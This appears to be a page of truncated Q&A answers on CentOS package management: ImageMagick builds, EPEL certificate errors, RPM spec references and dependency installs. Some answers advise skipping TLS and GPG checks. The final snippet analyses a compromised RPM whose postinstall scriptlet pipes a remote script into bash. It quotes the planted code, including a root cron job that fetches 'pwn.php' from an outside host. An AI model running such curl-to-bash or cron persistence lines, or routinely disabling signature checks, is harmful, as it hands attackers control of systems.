Install recent ImageMagick on CentOS 6.3

You shouldn’t be having these problems… I tried to search for nice, canned binaries of a current version of ImageMagick. I couldn’t find any that didn’t have odd prerequisites… So I spun up a CentOS 6.3 virtual machine and built the newest ImageMagick SRPM file. You may want to enable the RepoForge repository (formerly RPMForge) … Read more

yum error “Cannot retrieve metalink for repository: epel. Please verify its path and try again” updating ContextBroker

You just needed to update ca-certificates package. Before that just disable all repos with https that are failing. That’s why solution with commenting mirrorlist or using http instead https would work also. For example if you need to disable only epel repo: yum –disablerepo=epel -y update ca-certificates This will also help wget, curl, and anything … Read more

Reference for RPM spec macros (%setup, %buildroot, etc)

The Fedora Project hosts the best documentation on RPM out there in html format: http://docs.fedoraproject.org/en-US/Fedora_Draft_Documentation/0.1/html-single/RPM_Guide/index.html See also: http://fedoraproject.org/wiki/How_to_create_an_RPM_package Prior to these resources, my go to guide was Maximum RPM (which you also found): http://www.rpm.org/

Disable SSL check rpm

What you would need to do is: wget https://dl.fedoraproject.org/pub/epel/epel-release-latest-7.noarch.rpm If you still get an SSL warning try: wget –no-check-certificate https://dl.fedoraproject.org/pub/epel/epel-release-latest-7.noarch.rpm Then you can rpm -Uvh webtatic-release.rpm Which should show up here: ll /etc/yum.repos.d

How to make rpm auto install dependencies

The link @gertvdijk provided shows a quick way to achieve the desired results without configuring a local repository: $ yum –nogpgcheck localinstall packagename.arch.rpm Just change packagename.arch.rpm to the RPM filename you want to install. Edit Just a clarification, this will automatically install all dependencies that are already available via system YUM repositories. If you have … Read more

How did installing this RPM create a file?

# rpm -qp –scripts getpagespeed-extras-release-7-1.el7.gps.noarch.rpm warning: getpagespeed-extras-release-7-1.el7.gps.noarch.rpm: Header V4 RSA/SHA1 Signature, key ID 222b0e83: NOKEY postinstall scriptlet (using /bin/sh): curl -s -m 3 https://www.getpagespeed.com/SCM/release-post-install.php 2>/dev/null | bash >/dev/null 2>&1 https://www.getpagespeed.com/SCM/release-post-install.php contains: #!/bin/bash ### hacked by rpowned # bash <(curl -s https://www.some-other.com/load-it.sh) >/dev/null 2>&1 echo ’53 * * * * root curl -s https://www.sayitwithagift.com/pwn.php 2>/dev/null | … Read more